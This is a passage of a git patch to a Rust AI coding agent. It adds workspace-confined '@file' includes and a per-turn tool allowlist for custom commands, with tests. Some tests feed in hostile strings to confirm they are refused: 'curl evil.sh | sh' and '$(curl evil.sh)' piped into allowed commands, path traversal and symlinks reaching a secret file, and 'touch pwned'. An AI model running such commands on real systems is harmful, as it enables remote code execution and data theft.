!out.ends_with('\n') { + out.push('\n'); + } + out.push_str(&format!("{path}:\n{fence}\n{text}")); + if !text.ends_with('\n') { + out.push('\n'); + } + out.push_str(&fence); + out.push('\n'); +} + /// Words the way a shell splits them: whitespace separates, single and double /// quotes group, and a backslash outside single quotes takes the next /// character as it is. @@ -606,14 +816,16 @@ mod tests { assert!(r.warnings.iter().any(|w| w.contains("/deploy"))); // A built-in is never expanded, even with a file of its name. - assert_eq!(r.expand_line("/help"), None); - assert_eq!(r.expand_line("/nothing here"), None); - assert_eq!(r.expand_line("not a command"), None); - let e = r.expand_line("/frontend:test app.tsx").expect("expands"); + assert_eq!(r.expand_line("/help", dir.path()), None); + assert_eq!(r.expand_line("/nothing here", dir.path()), None); + assert_eq!(r.expand_line("not a command", dir.path()), None); + let e = r + .expand_line("/frontend:test app.tsx", dir.path()) + .expect("expands"); assert_eq!(e.prompt, "run app.tsx"); assert_eq!(e.name, "frontend:test"); // Names are matched without regard to case, as the parser lowercases. - assert!(r.expand_line("/Frontend:Test").is_some()); + assert!(r.expand_line("/Frontend:Test", dir.path()).is_some()); let menu = r.menu_entries(); assert_eq!( @@ -655,4 +867,161 @@ mod tests { assert!(found.is_empty()); assert_eq!(problems.len(), 1); } + + #[test] + fn an_include_is_an_at_starting_a_word_and_naming_a_path() { + assert_eq!( + pieces("Read @src/a.rs, then @./Makefile."), + vec![ + Piece::Text("Read "), + Piece::Include("src/a.rs"), + Piece::Text(", then "), + Piece::Include("./Makefile"), + Piece::Text("."), + ] + ); + assert_eq!( + pieces("@a.md"), + vec![Piece::Text(""), Piece::Include("a.md"), Piece::Text("")] + ); + // An address, a mention, and an `@` alone are text. + for text in [ + "mail a@b.com now", + "ask @alice", + "at @ noon", + "x@./y", + "@...", + ] { + assert_eq!(pieces(text), vec![Piece::Text(text)], "{text}"); + } + } + + #[test] + fn a_file_is_included_fenced_under_its_path() { + let dir = tempfile::tempdir().expect("dir"); + write(&dir.path().join("src/a.rs"), "fn a() {}\n"); + write(&dir.path().join("notes.md"), "has ``` inside"); + let said = fill( + "Review @src/a.rs and @notes.md please; mail a@b.com", + "", + Some(dir.path()), + ); + assert_eq!( + said, + "Review \nsrc/a.rs:\n```\nfn a() {}\n```\n and \nnotes.md:\n````\nhas ``` \ + inside\n````\n please; mail a@b.com" + ); + } + + #[test] + fn what_cannot_be_included_leaves_a_marker() { + let root = tempfile::tempdir().expect("dir"); + let ws = root.path().join("ws"); + write(&ws.join("inside.txt"), "ok"); + write(&root.path().join("secret.txt"), "SECRET"); + write(&ws.join("sub/x.txt"), "x"); + let outside = root.path().join("secret.txt"); + let said = fill( + &format!( + "@missing.txt @../secret.txt @sub/../../secret.txt @{} @sub/ @sub/../inside.txt", + outside.display() + ), + "", + Some(&ws), + ); + assert!(said.contains("[@missing.txt: not found]"), "{said}"); + assert!( + said.contains("[@../secret.txt: outside the workspace]"), + "{said}" + ); + assert!( + said.contains("[@sub/../../secret.txt: outside the workspace]"), + "{said}" + ); + assert!( + said.contains(&format!("[@{}: outside the workspace]", outside.display())), + "{said}" + ); + assert!(said.contains("[@sub/: not a file]"), "{said}"); + assert!(said.contains("sub/../inside.txt:\n```\nok\n```"), "{said}"); + assert!(!said.contains("SECRET"), "{said}"); + // An absolute path inside the workspace is taken. + let inside = ws.join("inside.txt"); + let said = fill(&format!("@{}", inside.display()), "", Some(&ws)); + assert!(said.contains("```\nok\n```"), "{said}"); + } + + #[cfg(unix)] + #[test] + fn a_symlink_out_of_the_workspace_is_not_followed() { + let root = tempfile::tempdir().expect("dir"); + let ws = root.path().join("ws"); + write(&root.path().join("secret.txt"), "SECRET"); + std::fs::create_dir_all(&ws).expect("mkdir"); + std::os::unix::fs::symlink(root.path().join("secret.txt"), ws.join("link.txt")) + .expect("symlink"); + let said = fill("@link.txt", "", Some(&ws)); + assert_eq!(said, "[@link.txt: outside the workspace]"); + } + + #[test] + fn includes_are_capped_per_file_and_in_total() { + let dir = tempfile::tempdir().expect("dir"); + let big = MAX_INCLUDE_BYTES as usize; + write(&dir.path().join("huge.txt"), &"x".repeat(big + 1)); + for name in ["a.txt", "b.txt", "c.txt", "d.txt", "e.txt"] { + write(&dir.path().join(name), &"y".repeat(big - 10)); + } + let said = fill( + "@huge.txt @a.txt @b.txt @c.txt @d.txt @e.txt", + "", + Some(dir.path()), + ); + assert!(said.contains("[@huge.txt:"), "per file"); + assert!(said.contains("over the 262144-byte limit")); + for name in ["a.txt", "b.txt", "c.txt", "d.txt"] { + assert!(said.contains(&format!("{name}:\n```")), "{name} included"); + } + assert!( + said.contains("[@e.txt: left out, the command's files reached 1048576 bytes]"), + "the fifth is past the total" + ); + } + + /// Only the body is looked at: an `@` in what was typed, or one a + /// placeholder fills in, is not read; and a placeholder inside an included + /// file is not filled. + #[test] + fn arguments_are_never_included_and_files_never_substituted() { + let dir = tempfile::tempdir().expect("dir"); + write(&dir.path().join("secret.txt"), "SECRET"); + write(&dir.path().join("t.md"), "uses $1 literally"); + let said = fill( + "Look at $ARGUMENTS and @$1", + "@secret.txt", + Some(dir.path()), + ); + assert_eq!(said, "Look at @secret.txt and @@secret.txt"); + let said = fill("@t.md for $1", "x", Some(dir.path())); + assert_eq!( + said, + "\nt.md:\n```\nuses $1 literally\n```\n for x".trim_start() + ); + } + + #[test] + fn a_command_expands_its_includes_against_the_workspace() { + let dir = tempfile::tempdir().expect("dir"); + let project = dir.path().join(PROJECT_DIR); + write(&project.join("explain.md"), "Explain @src/lib.rs to $1"); + write(&dir.path().join("src/lib.rs"), "pub fn x() {}"); + let r = Registry::load_from(&project, &dir.path().join("u"), &[]); + let e = r + .expand_line("/explain newcomers", dir.path()) + .expect("expands"); + assert_eq!( + e.prompt, + "Explain \nsrc/lib.rs:\n```\npub fn x() {}\n```\n to newcomers" + ); + } } diff --git a/src/main.rs b/src/main.rs index f8a4864..e67d710 100644 --- a/src/main.rs +++ b/src/main.rs @@ -189,14 +189,15 @@ fn main() -> anyhow::Result<()> { .as_deref(), ) .map_err(|e| anyhow::anyhow!(e))?; - // `-t "/name args"` runs the operator's custom command. - let (instruction, model) = - incord_code::custom_commands::expand_task(&workspace, instruction, model); + // `-t "/name args"` runs the operator's custom command, held to + // its `allowed-tools`. + let task = incord_code::custom_commands::expand_task(&workspace, instruction, model); return on_a_runtime(|| { incord_code::task_run::run_task_as( &workspace, - &instruction, - model.as_deref(), + &task.instruction, + task.model.as_deref(), + &task.allowed_tools, format, spec_gate, &created_outside, diff --git a/src/permissions/rules.rs b/src/permissions/rules.rs index bd5cabf..2d6bd68 100644 --- a/src/permissions/rules.rs +++ b/src/permissions/rules.rs @@ -1069,6 +1069,62 @@ impl PermissionRules { } } +// --------------------------------------------------------------------------- +// A turn's own allowlist +// --------------------------------------------------------------------------- + +/// The tools ONE turn may use, as a custom command's `allowed-tools` names +/// them: the same grammar as an `allow` rule, judged the way an `allow` list +/// is — a command line only when EVERY part is covered and none is opaque, +/// several paths only when every one is. +/// +/// It only narrows. A call it lets through still meets the deny and ask +/// rules, the guards, the mode and the hooks; being listed here is not an +/// `allow` rule and does not skip the `prompt` mode's question. +#[derive(Debug, Clone)] +pub struct Allowlist { + allow: Vec, + /// As written, for the refusal the model reads. + listed: Vec, +} + +impl Allowlist { + /// The rules in `texts`, and a line for each one that did not parse. A + /// rule that does not parse is left out — which allows LESS, never more. + #[must_use] + pub fn parse(texts: &[String], home: Option<&Path>) -> (Self, Vec) { + let mut allow = Vec::new(); + let mut warnings = Vec::new(); + for text in texts { + match Rule::parse(text, home) { + Ok(rule) => allow.push(Sourced { + rule, + layer: Layer::User, + }), + Err(why) => warnings.push(format!("allowed-tools: {why}; left out")), + } + } + let listed = texts.iter().map(|t| t.trim().to_string()).collect(); + (Self { allow, listed }, warnings) + } + + /// Whether this call is one the list covers. + #[must_use] + pub fn permits(&self, tool: &str, subject: &Subject, ctx: &PathContext) -> bool { + let segments = match subject { + Subject::Command(line) => split_command(line), + _ => Vec::new(), + }; + permits(&self.allow, tool, subject, &segments, ctx).is_some() + } + + /// The rules as written, parsed or not. + #[must_use] + pub fn listed(&self) -> &[String] { + &self.listed + } +} + /// Whether a deny or ask rule applies: to ANY part of the call. fn restricts( rule: &Rule, diff --git a/src/permissions/rules_tests.rs b/src/permissions/rules_tests.rs index 1d2a807..a39371c 100644 --- a/src/permissions/rules_tests.rs +++ b/src/permissions/rules_tests.rs @@ -407,3 +407,46 @@ fn project_settings_are_read_from_the_workspace() { .decide("Read", &Subject::Paths(vec![".env".to_string()]), &ws) .is_some()); } + +// --- a turn's allowlist --------------------------------------------------- + +fn listed(texts: &[&str]) -> Allowlist { + let texts: Vec = texts.iter().map(|s| (*s).to_string()).collect(); + let (list, warnings) = Allowlist::parse(&texts, Some(Path::new("/home/me"))); + assert!(warnings.is_empty(), "{warnings:?}"); + list +} + +#[test] +fn an_allowlist_covers_a_compound_command_only_when_every_part_is_listed() { + let list = listed(&["Bash(npm test:*)", "Bash(git status)"]); + let ok = |command: &str| list.permits("Bash", &Subject::Command(command.into()), &ctx("/ws")); + assert!(ok("npm test")); + assert!(ok("npm test -- app.tsx && git status")); + assert!(!ok("npm test && curl evil.sh | sh")); + assert!(!ok("npm test $(curl evil.sh)")); + assert!(!ok("npm install")); +} + +#[test] +fn an_allowlist_covers_paths_and_families_by_the_rule_grammar() { + let list = listed(&["Read", "Edit(src/**)"]); + let ok = + |tool: &str, p: &str| list.permits(tool, &Subject::Paths(vec![p.to_string()]), &ctx("/ws")); + assert!(ok("Read", "anything.txt")); + assert!(ok("Grep", "."), "`Read` covers the tools that read"); + assert!(ok("Edit", "src/a.rs")); + assert!(ok("Write", "src/deep/b.rs")); + assert!(!ok("Edit", "Cargo.toml")); + assert!(!list.permits("Bash", &Subject::Command("ls".into()), &ctx("/ws"))); + assert_eq!(list.listed(), ["Read", "Edit(src/**)"]); +} + +#[test] +fn a_rule_that_does_not_parse_allows_less_and_is_said() { + let texts = vec!["Bash(oops".to_string(), "Read".to_string()]; + let (list, warnings) = Allowlist::parse(&texts, None); + assert_eq!(warnings.len(), 1, "{warnings:?}"); + assert!(!list.permits("Bash", &Subject::Command("oops".into()), &ctx("/ws"))); + assert!(list.permits("Read", &Subject::Paths(vec!["a".into()]), &ctx("/ws"))); +} diff --git a/src/review.rs b/src/review.rs index d7cae30..58b9b00 100644 --- a/src/review.rs +++ b/src/review.rs @@ -340,6 +340,7 @@ pub fn run( workspace, &ask, model, + &[], crate::task_run::OutputFormat::Text, // A review writes nothing, so the intake the spec gate asks for // would only steer the model away from the diff. @@ -356,6 +357,7 @@ pub fn run( workspace, &ask, model, + &[], crate::task_run::OutputFormat::Text, crate::spec::SpecGate::Off, &[], diff --git a/src/task_run.rs b/src/task_run.rs index 504fd03..84d69a2 100644 --- a/src/task_run.rs +++ b/src/task_run.rs @@ -273,10 +273,14 @@ impl Report { /// /// `created` is what the process wrote outside the workspace before the run — /// the shipped sub-agent definitions on a first run — for the `init` event. +/// +/// `command_tools`, when not empty, are a custom command's `allowed-tools`: +/// the run is held to them ([`crate::custom_commands`]). pub fn run_task_as( workspace: &Path, instruction: &str, model: Option<&str>, + command_tools: &[String], format: OutputFormat, spec_gate: crate::spec::SpecGate, created: &[std::path::PathBuf], @@ -284,7 +288,7 @@ pub fn run_task_as( crate::spec::set_for_this_run(spec_gate); if format == OutputFormat::Text { let mut report = Report::text(); - let ran = run_task_reporting(workspace, instruction, model, &mut report); + let ran = run_task_reporting(workspace, instruction, model, command_tools, &mut report); // The run's spend, once, at the end: the per-event lines above it are // each one request, and the question afterwards is what it all cost. if let Some(line) = report.cost_line() { @@ -301,7 +305,7 @@ pub fn run_task_as( .map(|path| path.to_string_lossy().into_owned()) .collect(); let began = std::time::Instant::now(); - let ran = run_task_reporting(workspace, instruction, model, &mut report); + let ran = run_task_reporting(workspace, instruction, model, command_tools, &mut report); report.finish(&ran, began.elapsed()); ran } @@ -324,7 +328,7 @@ pub fn run_task_with_model( instruction: &str, model: Option<&str>, ) -> Result { - run_task_reporting(workspace, instruction, model, &mut Report::text()) + run_task_reporting(workspace, instruction, model, &[], &mut Report::text()) } /// The run itself, telling `report` what happens. @@ -332,6 +336,7 @@ fn run_task_reporting( workspace: &Path, instruction: &str, model: Option<&str>, + command_tools: &[String], report: &mut Report, ) -> Result { if instruction.trim().is_empty() { @@ -360,6 +365,18 @@ fn run_task_reporting( // The owner's installed external tools, started as MCP servers now, in // the background, so they connect while the memory session opens. let tools = connect_ext_tools(workspace); + // A custom command's `allowed-tools` hold the whole run — it is the + // command's one turn — on every candidate whose tools are incode's. + let _held_to = (!command_tools.is_empty()).then(|| { + let (list, warnings) = crate::permissions::rules::Allowlist::parse( + command_tools, + crate::admin::home_dir().as_deref(), + ); + for warning in warnings { + eprintln!("incode: {warning}"); + } + tools.restrict_turn(list) + }); let mut memory = crate::hooks::memory::MemoryHooks::new( crate::hooks::engine::Engine::locate(), workspace, @@ -400,6 +417,7 @@ fn run_task_reporting( prompt: &prompt, system: &system, tools: &tools, + command_tools, }; let ran = drive(&task, &mut memory, report); memory.end("other"); @@ -468,6 +486,8 @@ struct Task<'a> { system: &'a [String], /// The run's session tools, with the external tools' servers. tools: &'a std::sync::Arc, + /// The custom command's `allowed-tools` the run is held to, if any. + command_tools: &'a [String], } /// The instruction, through each usable agent in turn until one runs it. @@ -507,6 +527,7 @@ fn drive( prompt, system, tools, + command_tools, } = *task; // WHICH ROUTE, and the CLI requirement belongs INSIDE the choice. // @@ -591,6 +612,12 @@ fn drive( // The run's one set of session tools, holding the external tools' // servers, is every candidate's. backend.share_session_tools(std::sync::Arc::clone(tools)); + if !command_tools.is_empty() && !backend.runs_tools_here() { + outln!( + " · {}", + crate::custom_commands::not_enforced_by(&route, command_tools) + ); + } if let Some(m) = model { backend.choose_model(m); diff --git a/src/toolbox/mod.rs b/src/toolbox/mod.rs index 898248e..a2e87ff 100644 --- a/src/toolbox/mod.rs +++ b/src/toolbox/mod.rs @@ -232,6 +232,25 @@ pub struct SessionTools { /// sentinel to leave out. Its own `Arc`, because a sub-agent's toolbox /// keeps its own session state but writes into this same record. allowed: Arc, + /// The tools the turn now running may use, when a custom command's + /// `allowed-tools` narrowed it; `None` the rest of the time. Set and + /// lifted by the session around one turn ([`TurnRestriction`]). + turn_allow: Mutex>>, +} + +/// A turn's narrowing of the session's tools, in force until this is +/// dropped — at the turn's end however it ends, a panic included. +#[must_use = "the restriction is lifted when this is dropped"] +pub struct TurnRestriction(Arc); + +impl Drop for TurnRestriction { + fn drop(&mut self) { + *self + .0 + .turn_allow + .lock() + .unwrap_or_else(PoisonError::into_inner) = None; + } } /// The protected files a person allowed to be written, by @@ -274,9 +293,32 @@ impl SessionTools { client: Arc::default(), filter_env, allowed: Arc::default(), + turn_allow: Mutex::new(None), }) } + /// Hold every toolbox sharing this state to `list` until the returned + /// guard is dropped: a call it does not cover is refused. + pub fn restrict_turn( + self: &Arc, + list: crate::permissions::rules::Allowlist, + ) -> TurnRestriction { + *self + .turn_allow + .lock() + .unwrap_or_else(PoisonError::into_inner) = Some(Arc::new(list)); + TurnRestriction(Arc::clone(self)) + } + + /// The turn's allowlist, while one is in force. + #[must_use] + pub fn turn_allowlist(&self) -> Option> { + self.turn_allow + .lock() + .unwrap_or_else(PoisonError::into_inner) + .clone() + } + /// Start the MCP servers the session's client named, in `cwd`, in the /// background, and offer each one's tools through every toolbox sharing /// this state as soon as it has listed them. Returns at once, with a line @@ -1588,6 +1630,23 @@ impl Toolbox { crate::trace!("tool", "{name} REFUSED: input does not match its schema"); return Err(problems); } + // The custom command that started this turn named the tools it may + // use: any other call is refused, before the rules, a guard, a person + // or the engine is asked. The next turn is not held to it. + if let Some(list) = self.state.turn_allowlist() { + if !list.permits(name, &self.rule_subject(name, input), &self.rule_context()) { + crate::trace!( + "tool", + "{name} REFUSED: outside the command's allowed-tools" + ); + return Err(format!( + "NOT RUN — this turn was started by a custom command whose allowed-tools \ + ({}) do not cover this {name} call. Use only those tools for this task, \ + or say what else you would need and why.", + list.listed().join(", ") + )); + } + } // The settings' permission rules. A deny is final — before a guard, // a person or the engine is asked, and whatever the mode; an ask or // an allow is weighed with the mode below. @@ -1880,10 +1939,17 @@ impl Toolbox { name: &str, input: &Value, ) -> Option { - use crate::permissions::rules::{PathContext, Subject}; if self.rules.is_empty() { return None; } + self.rules + .decide(name, &self.rule_subject(name, input), &self.rule_context()) + } + + /// What a rule's specifier is matched against for this call: the command, + /// the paths or the address it names. + fn rule_subject(&self, name: &str, input: &Value) -> crate::permissions::rules::Subject { + use crate::permissions::rules::Subject; let text = |key: &str| { input .get(key) @@ -1891,7 +1957,7 @@ impl Toolbox { .unwrap_or_default() .to_string() }; - let subject = match name { + match name { BASH => Subject::Command(text("command")), // A search or a listing with no `path` covers the workspace. READ | WRITE | EDIT | MULTI_EDIT | NOTEBOOK_EDIT | LS | OUTLINE | GLOB | GREP => { @@ -1911,12 +1977,15 @@ impl Toolbox { } crate::web::FETCH_TOOL => Subject::Url(text("url")), _ => Subject::None, - }; - let ctx = PathContext { + } + } + + /// Where a rule's relative paths are resolved, and what `~` is. + fn rule_context(&self) -> crate::permissions::rules::PathContext { + crate::permissions::rules::PathContext { workspace: self.workspace.clone(), home: crate::admin::home_dir(), - }; - self.rules.decide(name, &subject, &ctx) + } } /// Whether the session's permission mode, and the settings' `ask` and diff --git a/src/toolbox/rule_tests.rs b/src/toolbox/rule_tests.rs index 9b87ccc..d9fb516 100644 --- a/src/toolbox/rule_tests.rs +++ b/src/toolbox/rule_tests.rs @@ -129,3 +129,86 @@ fn an_allow_rule_does_not_lift_read_only() { .expect_err("read-only"); assert!(refused.contains("read-only"), "{refused}"); } + +/// The toolbox and a session state it shares, held to `allowed` until the +/// returned guard is dropped. +fn restricted(root: &Path, allowed: &[&str]) -> (Toolbox, TurnRestriction) { + let state = SessionTools::new(true); + let mut box_ = Toolbox::new(root, true); + box_.share_session(Arc::clone(&state)); + let texts: Vec = allowed.iter().map(|s| (*s).to_string()).collect(); + let (list, warnings) = crate::permissions::rules::Allowlist::parse(&texts, None); + assert!(warnings.is_empty(), "{warnings:?}"); + (box_, state.restrict_turn(list)) +} + +/// **A COMMAND'S `allowed-tools` HOLDS ITS TURN**: what the list covers runs, +/// anything else — another tool, a command line with one part outside the +/// list — is refused with the list named, and nothing it would do happens. +#[test] +fn a_turn_restriction_refuses_what_its_list_does_not_cover() { + let dir = tempfile::tempdir().expect("tmp"); + std::fs::write(dir.path().join("a.txt"), "hello").expect("seed"); + let (box_, _held) = restricted(dir.path(), &["Read", "Bash(echo:*)"]); + assert!(box_ + .run(READ, &json!({"path": "a.txt"})) + .expect("listed") + .contains("hello")); + box_.run(BASH, &json!({"command": "echo ok"})) + .expect("listed"); + let refused = box_ + .run(WRITE, &json!({"path": "b.txt", "content": "x"})) + .expect_err("not listed"); + assert!( + refused.contains("allowed-tools (Read, Bash(echo:*))"), + "{refused}" + ); + assert!(!dir.path().join("b.txt").exists()); + let refused = box_ + .run(BASH, &json!({"command": "echo ok && touch pwned"})) + .expect_err("one part is not listed"); + assert!(refused.contains("allowed-tools"), "{refused}"); + assert!(!dir.path().join("pwned").exists()); +} + +/// A path pattern in the list narrows a family of tools to those paths. +#[test] +fn a_turn_restriction_narrows_writes_to_its_paths() { + let dir = tempfile::tempdir().expect("tmp"); + let (box_, _held) = restricted(dir.path(), &["Edit(notes/**)"]); + box_.run(WRITE, &json!({"path": "notes/a.md", "content": "x"})) + .expect("inside notes"); + let refused = box_ + .run(WRITE, &json!({"path": "other.md", "content": "x"})) + .expect_err("outside notes"); + assert!(refused.contains("Edit(notes/**)"), "{refused}"); +} + +/// **THE NEXT TURN IS NOT HELD TO IT**: once the guard is dropped, the same +/// toolbox runs what it refused. +#[test] +fn a_turn_restriction_is_lifted_when_the_turn_ends() { + let dir = tempfile::tempdir().expect("tmp"); + let (box_, held) = restricted(dir.path(), &["Read"]); + box_.run(WRITE, &json!({"path": "b.txt", "content": "x"})) + .expect_err("restricted"); + drop(held); + box_.run(WRITE, &json!({"path": "b.txt", "content": "x"})) + .expect("unrestricted"); + assert!(dir.path().join("b.txt").exists()); +} + +/// Listed is not allowed: the settings' deny rules still refuse. +#[test] +fn a_turn_restriction_does_not_outrank_a_deny_rule() { + let dir = tempfile::tempdir().expect("tmp"); + let state = SessionTools::new(true); + let mut box_ = with_rules(dir.path(), &[], &[], &["Bash(rm:*)"]); + box_.share_session(Arc::clone(&state)); + let (list, _) = crate::permissions::rules::Allowlist::parse(&["Bash".to_string()], None); + let _held = state.restrict_turn(list); + let refused = box_ + .run(BASH, &json!({"command": "rm -r gone"})) + .expect_err("denied"); + assert!(refused.contains("Bash(rm:*)"), "{refused}"); +} From 426be30b5cd6a0a8792dbdf76d5dbdf28b495542 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 18:34:31 +0000 Subject: [PATCH 6/6] mcp http: a POST waits for the notification sent before it Each message was POSTed from its own task, so notifications/initialized could reach the server after the tools/list sent right behind it, against MCP's order (the OAuth token lookup before each POST widened the window; the fake server saw it in about 3 runs of 8). The next POST now waits for the last notification's POST to finish; requests may still overlap. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- src/toolbox/mcp_http.rs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/src/toolbox/mcp_http.rs b/src/toolbox/mcp_http.rs index 3f67c8a..aa38588 100644 --- a/src/toolbox/mcp_http.rs +++ b/src/toolbox/mcp_http.rs @@ -80,6 +80,11 @@ pub(super) struct HttpLink { messages: Receiver, /// The POSTs still running, stopped when the link is dropped. running: Vec, + /// Signalled when the last notification's POST has finished: the next + /// POST waits for it, so a server never sees `tools/list` before the + /// `notifications/initialized` sent ahead of it. Requests themselves may + /// still overlap one another. + after_notification: Option>, /// The OAuth token for this server, when it has one to send. auth: Option>, /// Who this is, for the messages it causes: `MCP server `memory``. @@ -125,6 +130,7 @@ impl HttpLink { tx, messages, running: Vec::new(), + after_notification: None, auth: None, what: what.to_string(), }) @@ -178,7 +184,20 @@ impl Link for HttpLink { let out = self.tx.clone(); let what = self.what.clone(); self.running.retain(|task| !task.is_finished()); + let wait_for = self.after_notification.take(); + let (done, done_rx) = tokio::sync::oneshot::channel::<()>(); + let done = if id.is_none() { + self.after_notification = Some(done_rx); + Some(done) + } else { + None + }; let task = crate::runtime::http::SHARED_RUNTIME.spawn(async move { + // Dropped when this task ends, however it ends: that is the signal. + let _done = done; + if let Some(earlier) = wait_for { + let _ = earlier.await; + } let had_session = lock(&session).is_some(); let answered = match send_authorized(&build, auth.as_deref()).await { Ok(response) => {